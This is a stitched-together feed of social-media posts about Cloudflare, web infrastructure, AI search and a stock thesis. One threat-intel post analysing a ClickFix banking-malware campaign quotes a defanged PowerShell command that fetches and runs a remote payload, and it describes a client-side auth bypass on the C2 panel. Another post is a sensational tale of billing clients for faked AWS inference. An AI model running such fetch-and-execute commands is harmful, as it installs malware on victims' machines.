  If you're on your way to building a billion dollar company that involves a web app, here are some of my notes on architecting the frontend. if you don't do this, it's probably fine but one day you'll hire someone to fix it but truly that person could be doing some other higher value thing if you make some key optimizations on day 1 you don't even have to learn anything you're gonna tell your agents to do it anyways! okay here it goes: - Make your server code generate a openapi spec which then generates all the relevant client side code. Never do this by hand. Typing backend types instead of generating them should be banned - You need to make a decision on how the client talks to the backend. rest/graphql works in which case please just use tanstack query. other libraries will look similar but tanstack query truly is goated. - if you want linear style sync setups or offline mode, think about this HARD and architect it from day 1. Bolting this on later is so tedious. - People like using plain react router but things have gotten a lot better since then. Try their new framework mode or just even use tanstack router. Use route data loaders. - If you store a lot of state in query params, make that a first class citizen and make sure its type safe. use nuqs or tanstack query. - Most apps just need a single state management situation for server state and thats it. If you have other bespoke needs, i have quite like zustand and xstate/store. - If you have a super interactive app where things come in and out of view, theres a lot of frontend state to maintain, music is playing and what not, lock in and learn xstate. Trust me if you wanna keep ur sanity, you need to model ur frontend as a state machine otherwise you're gonna be deep in useEffect hell - React compiler is here my friends, the days of useMemo and useCallback are gone. Update your priors accordingly - Tailwind is easy and fun but makes it really hard to maintain a large app with consistent styling. You need a "agent-first design system/component library" but maybe this is a rant for another day - Don't be afraid to hack your routing library to fit your needs more closely. A lot of apps have "drawers" to show additional info. You should 100% be able to say "here's a route, make it a drawer" and everything should be handled from there. - Managing loading and error states using isPending and isError is madness. Lean into Suspense and ErrorBoundary. - Figuring out a blessed path for websockets and SSE on day 1 i think will pay dividends in the long term if you're building anything AI related. - If you're building a SPA, don't use next.js. it literally makes no sense. Why would you do this. - Definitely deploy on Cloudflare or vercel. There are other services but trust, there have weird missing features. - Assuming you build something people want, the next job is to build the factory so it can efficiently build the thing. Act accordingly.

  📌 The Illusion of Decentralization: Who Owns the Backbone of the Internet & AI in 2026? (Updated List) As you scroll daily, you might think you're navigating thousands of independent sites and apps. The reality? 90% of global data traffic flows through channels controlled by a select few. Here is who actually controls the world's digital backend: 1. The Cloud Big Three If these three companies went offline, half of the internet’s apps, banking systems, and aviation networks would vanish in seconds: * Amazon Web Services (AWS): Controls roughly a third of the entire global cloud market. It hosts giants like Netflix, Airbnb, and even highly sensitive government databases. * Microsoft Azure: The largest backbone for massive corporations, government institutions, and global digital identity systems. * Google Cloud: The third engine powering YouTube, massive big data research, and global startups. 2. The Gatekeepers These are the invisible shields you rarely see, but they control and protect your access to the internet: * Cloudflare: Manages and secures roughly 20-25% of all global web traffic. If Cloudflare goes down, half of the world's news outlets and crypto exchanges drop with it. * Akamai: The oldest and largest Content Delivery Network (CDN) in the world. They dictate how videos, live streams, and games reach billions of people without lagging. 3. The Hardware Monopoly Software is useless without processors, and this is where the greatest monopoly lies: * NVIDIA: Controls over 80% of the AI chip and data center GPU market. They essentially decide who has the compute power to train AI (like OpenAI and Meta) and who gets left behind. * TSMC (Taiwan Semiconductor): The Taiwanese giant that manufactures almost all the world's advanced chips for Apple, Nvidia, AMD, and Qualcomm. If TSMC stopped, the production of global smartphones and military hardware would freeze. 4. The Submarine Cables (Who Owns the Physical Internet?) The internet isn't in the sky (satellites only cover a tiny fraction). 99% of global data travels through cables at the bottom of the ocean: * SubCom & ASN: The two companies responsible for laying and maintaining most of the world's underwater fiber-optic cables. * The Big Tech Alliance: Today, Google, Meta, Microsoft, and Amazon have become the largest investors and tenants of these cables, meaning they now physically own the routes data takes between continents. 5. The Institutional Masters If you dig deep into the shares of every media, tech, aviation, and defense company globally, you will always find three names repeating as the top institutional investors: * BlackRock (Manages over $10 Trillion in assets). * Vanguard Group (Manages roughly $8 Trillion in assets). * State Street These funds don't run the companies day-to-day, but they hold massive voting power to dictate board members and the strategic direction of these giants (from Apple and Microsoft to oil and defense contractors). 💡 The Bottom Line: The internet is no longer the free, distributed network it was once touted to be. It has evolved into a highly centralized infrastructure where a few massive corporations and investment funds dictate what you see, what you hear, and how your data flows.

  6. Default DNS Resolution Lag What it does: When your TV tries to load the image thumbnails for an app like Netflix, it uses your Internet Service Provider's default DNS server to find out where those images live on the internet. Think of DNS as the internet's phone book. Why it kills performance: ISP phone books are notoriously slow and incredibly outdated. Often, your TV is not actually lagging at all. The processor is fine, but the TV is frozen waiting for your internet provider to tell it where to download the movie poster graphics. *********** it: Settings → Network → Network Status → IP Settings → DNS Setting → Enter Manually. Change the numbers to 8.8.8.8 (Google) or 1.1.1.1 (Cloudflare). You will literally watch your streaming apps load twice as fast.

  Oracle’s 4-core 24GB setup for Hermes was overkill and not worth it. Just migrated everything over to Google Cloud’s free tier today — a basic 2 vCPU, 1GB RAM VM. The standard network tier gives 200GB egress per month (no CDN or Cloudflare needed). More than enough. Only three regions offer free VMs. Picked us-west1 since it’s closest to Asia. e2-micro machine type, standard persistent disk up to 30GB, network tier set to standard for the bandwidth. Allow HTTP/HTTPS in the firewall, disable disk protection, and skip Ops Agent — those two are paid features. Migration was straightforward. Installed Hermes on the new VM, packed up what I needed from the old server, uploaded and extracted it, then ran hermes doctor and hermes setup. That’s it.

  Have you accidentally blocked yourself from AI search? OpenAI/Claude's searchbots get blocked more often than any other crawler, usually as a side effect of generic robots.txt templates, not intentional policy. >>The fix: -Open your robots.txt if you have one (go to yourdomain .com/robots.txt) -Remove any rules blocking OAI-SearchBot, PerplexityBot, or GPTBot. Instead add: User-agent: * Allow: / -If you're using Cloudflare, check your bot management settings - set to 'Do not block (allow crawlers)' -If you're on a managed host, check their crawler settings too, many block non-Google bots by default If you're blocking those bots, you don't exist in AI search. Have you done this?

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory.

QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

  i don't buy the "ai search replaces Google" thesis. the data says the opposite is happening. Cloudflare Radar, may 2026: every ai chatbot — ChatGPT, Gemini, Claude, Perplexity — sends 0.29% of global search referrals. Google sends 87.63%. 301-to-1. Anthropic's ClaudeBot crawls 11,122 pages for every human visit it returns vs Google's 5:1. Alphabet Q1 2026 filing: Google search revenue $60.4B, +19% yoy, up from +17% in Q4. ai overviews hit 2.5B monthly users; ai mode crossed 1B. alphabet says ai overviews monetize at rates "similar to traditional search" (june 2026 investor presentation). the kill-google thesis is showing up as negative signal in the actual p&l. Perplexity — the consensus poster child — killed its entire ad business in feb (Financial Times, The Verge). ads generated $20K against $34M revenue. exec quote: "a user would just start doubting everything." a company that can't make advertising work cannot disrupt a $60B/quarter advertising business. the consensus pusher worth countering specifically — @sarahdingwang at a16z, who led Exa's $250M Series C at $2.2B in may. her line: "agents will search the web more than humans this year. soon orders of magnitudes more." historical analog — Netscape 1994-98. the next platform that would reduce windows to "a poorly debugged set of device drivers." 80% share, record ipo. microsoft bundled IE for free. netscape sold to AOL for scrap. the company that captured the value was the one everyone thought netscape would displace — Google, founded 1998 — the services layer above the commodity. counter-position: ai search isn't replacing Google. Google is becoming ai search. standalone players are fighting netscape's war while the incumbent absorbs the tech into a surface 2.5B people already use. investor read: Exa at $2.2B and Perplexity at $22B are priced for a market-share takeover the referral data says isn't happening. the smarter bet is the layer that monetizes the ai-overview expansion Google is driving.

  5/ Governments and major tech companies are already moving. Most blockchains are catching up. The US requires quantum-resistant cryptography on all new national security systems from January 2027 - retiring the same methods Bitcoin, Ethereum, and Solana rely on today. Cloudflare, Apple, Signal, Microsoft, and AWS are already deploying upgrades. 24 of the top 26 blockchain protocols still rely entirely on methods being phased out elsewhere.

  A 28 year old Chinese engineer in Singapore bills 11 SaaS startups $63,400 a month for inference they think is running on AWS H100s. Forty NVIDIA Jetson Orin Nano boards stacked inside three IKEA boxes on the floor. A used Quest 3 on the bed. A half empty can of Yeo's chrysanthemum tea on the windowsill, still cold. The whole farm draws less power than his electric kettle. Each Jetson runs Llama 3.3 70B through MLC LLM, quantized to 4 bit. Each one serves embeddings, classification, and draft outputs at $0.40 per million tokens. OpenAI charges $0.60 for the same. A Cloudflare worker rewrites the response headers to read like an AWS us-east-1 region. The startups never check. They never asked. pause at 0:22, the camera holds on the IKEA boxes for two seconds. Everyone saw moving boxes. Almost nobody saw the holes drilled in the back. They were not for shelf pegs. They were the GPU intake. $63,400 in. $0 OpenAI bill. Hardware paid for itself in 11 weeks. His dad still thinks he is studying for the GMAT. He still calls home every Sunday at 8 p.m. He still says he has not picked a school. He still wears the same Uniqlo hoodie in every video call. He still has not mentioned the Stripe dashboard. A data center has racks, cooling, redundancy. He has three IKEA boxes, a kettle, forty boards humming quieter than the AC.

  DD: Long term holdings. $NET cloudflare and why it's important in the age of agents ELI5: The world is moving towards agent. Big industries need better cloud bot protection, developers need LLM computing on the edge. Cloudflare provides the most afforadable option for both, even heavy aws users are using cloudflare for these purposes. What is Cloudflare? For the technically challenged or pre-med professionals, Cloudflare is a web infrastructure and security company that acts as a protective, performance-enhancing shield between a website and its visitors by providing services like content delivery networks (CDNs), DDoS mitigation, and secure domain routing. TL;DR: For the simple folks, it's that **** that pops up with the CAPTCHA to make sure you're not a bot. For developers, it's that **** that makes your sites fast and secure from bots. What is Cloudflare's growing revenue? Application Security and Content Delivery Network (CDN). What is a Content Delivery Network? A CDN is basically a network of servers used to store files closer to its users for faster retrieval. Imagine an app creates a backend database storing all its images on AWS based in US-East. A CDN will then copy the most commonly used images in that S3 database and duplicate them across multiple regions (Asia, Europe, US-East). When an app makes a service request, it will make the request to Cloudflare first. Cloudflare then uses its internal logic to determine if the data needed is in a nearby Cloudflare edge server (on the edge) or if it needs to get it from the main database in US-East. This is called storage on the edge. This CDN mechanism is a relic of Web 2.0, but it will become significantly more important in the age of AI. Now, instead of storing images, large AI providers will be storing entire LLM contexts on the edge. So instead of training specialized ML models to do a specific task, app companies can use a general-usage LLM with a stored context for that specific task, and it will be fast, too. This mechanism is called Prefix Caching or Prompt Caching. By doing this, it makes the LLM responses almost instantaneous. So all your consumer apps that use LLMs—like CALai, Duolingo, Grok, etc.—are most likely already using this process. Beyond simply storing data on the edge, the industry is shifting toward deploying entire servers and specialized AI models locally. A major component of this architecture relies on LLM routing. Instead of hosting massive, resource-heavy models on every single edge device or regional server, companies are deploying highly optimized, lightweight router models at the edge. These local routers analyze incoming user prompts to determine the most efficient way to handle them. If a task is simple, the edge model processes it instantly to minimize latency and eliminate cloud compute costs. If the task requires deep reasoning or a massive knowledge base, the router intelligently forwards the request to a larger cloud-hosted model. Additionally, these edge routers leverage tool calling, which allows them to execute local APIs, query regional databases, or trigger specific code workflows without needing to round-trip back to a centralized data center. Moving from simple edge storage to localized edge intelligent compute represents a massive paradigm shift. It allows enterprises to scale AI applications efficiently, safeguard data privacy, and drastically slash infrastructure costs. Cloudflare Security in the Age of Agents This one is simple. You know that Cloudflare CAPTCHA that pops up when you're entering a website or checking out with a credit card? Websites PAY for that CAPTCHA. And they pay a lot. These features block spam, bots, and DDoS attacks. When you move your mouse to click the CAPTCHA, Cloudflare uses proprietary logic that determines you're human by calculating how fast your mouse moved, the angle you moved it, how long you waited, and any other actions you took. Sometime in the 2010s, every website figured out that paying for this small puzzle CAPTCHA was more cost-effective than getting DDoS'd by bots, so almost every single site adopted it. The CAPTCHA is only one of Cloudflare's products in its security suite to block bots from websites, but the overarching theme is the same for all its features: blocking bots. Well, it's 2026 now, and web traffic across the board has increased, mostly driven by AI and AI agents. Automated web traffic has increased by 600% in 2026 alone. Guess who is positioned perfectly for this? Cloudflare. Not only is Cloudflare blocking bot traffic, but it's also getting paid by them. Cloudflare is releasing a new product (Pay Per Crawl) that allows website owners and Cloudflare to get paid for LLMs crawling their content. Cloudflare is simply winning by creating the gates for web traffic and now charging a toll fee for bots to use them. Cloudflare is direct play on internet traffic, which is a correlating play on ai agents and LLM adoption and usage. If you think people will continue to use ai agents and LLM, then cloudflare is your guy. Cloudflare valuation has dropped recently because of the layoffs due to ai, even though revenue has sped up. This drop was more of emotional sell off than a fundamental one. It's valuation has already bounced back. (Cloudflare is trading at 235 as of this post, I bought in earlier in the 190s for a swing trade after the bogus layoff dips, wish i bought in more)
